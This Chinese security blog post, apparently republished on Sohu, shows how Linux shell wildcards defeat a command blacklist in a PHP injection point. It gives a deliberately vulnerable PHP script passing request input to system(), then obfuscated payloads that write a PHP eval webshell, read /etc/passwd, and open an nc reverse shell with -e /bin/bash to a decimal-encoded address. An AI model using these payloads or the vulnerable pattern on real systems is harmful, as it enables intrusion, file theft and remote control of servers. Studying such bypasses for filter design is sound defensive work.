原标题:安全杂谈——linux通配符绕过文件名黑名单
原创:hl0rey安全初心5月27日
glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的 /etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。注:shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!目录
原理介绍
测试代码
几个小例子
写入webshell
读取/etc/passwd文件
nc反弹shell
总结与思考一. 原理介绍
linux shell下可以通过正则匹配来匹配相应的程序并且执行。在linux下输入man 7 glob命令可以查看相关的内容。值得注意的就这些,学过正则的一下就懂了。完整翻译
https://www.cnblogs.com/divent/archive/2016/08/11/5762154.html
语法
专用字符集
根据介绍,假设我们要执行ls命令,那么就有如下几种变形方式:
/???/[l]s
/???/[:alnum:]s
/???/[:lower:]s
二. 测试代码
假设碰到了一个目标系统为linux,且php的代码执行漏洞,但是有相应的过滤,测试代码如下:
$cmd=$_REQUEST['cmd'];
echo 'cmd is:'.$cmd.'
';
if(preg_match('/echo|cat|ls|nc/is',$cmd)){
die('you bad bad.');
}
system($cmd);
?>2.1 几个小例子
通晓原理之后可以随意变形,这里只给出几个小例子。
2.1.1 写入webshell
原本的payload
cmd=/bin/echo "<?php eval($_POST['cmd'])?>" > 1.php
变形后的payload:
cmd=/???/e??? "<?php eval($_POST['cmd'])?>" > 1.php
双引号内没有内容是因为尖括号内的内容被当作xml代码解析了,查看网页源代码即可看到原本的内容。
2.1.2 读取/etc/passwd文件
原本的payload:
cmd=/bin/cat /etc/passwd
变形后的payload:
cmd=/???/ca? /etc/passwd
或者
cmd=/???/ca? /etc/pass??
再或者
cmd=/???/ca? /???/p?????
2.1.3 nc反弹shell
这个地方加大一下难度,把测试代码改为(把点也过滤掉):
$cmd=$_REQUEST['cmd'];
echo 'cmd is:'.$cmd.'
';
if(preg_match('/echo|cat|ls|nc|./is',$cmd)){
die('you bad bad.');
}
system($cmd);
?>
nc.traditional是nc的原始版本有-e参数。由于过滤了点,所以我们不能在ip地址里出现点,所以我们要把ip转换一下。随便找个在线转换的网站,当然你口算也可以。
http://ip.chacuo.net/ipcalc
点分十进制转十进制原本的payload:
nc.traditional 127.0.0.1 4444 &
先开启一个监听
变形后的payload :
/???/?c???????????? -e /???/b??h 2130706433 4444 &
运行一下:
正常执行命令:
三. 总结与思考
linux下执行命令都能用正则,真是太方便了,果然linux比windows好用。2.在执行命令的时候面目全非的命令都能执行也是很强大。3.windows下在做目录搜索的时候也能用通配符,但是不如linux下的这么有趣,所以还是linux系统好啊。4.值得一提的是,当一个正则匹配多个程序的时候,linux会把每个匹配的程序都执行一遍,这个是利是弊就看你怎么利用了。 -------------------------------------------------
---------------------------------------------------------
更多精彩内容,欢迎关注玄魂工作室。返回搜狐,查看更多
责任编辑: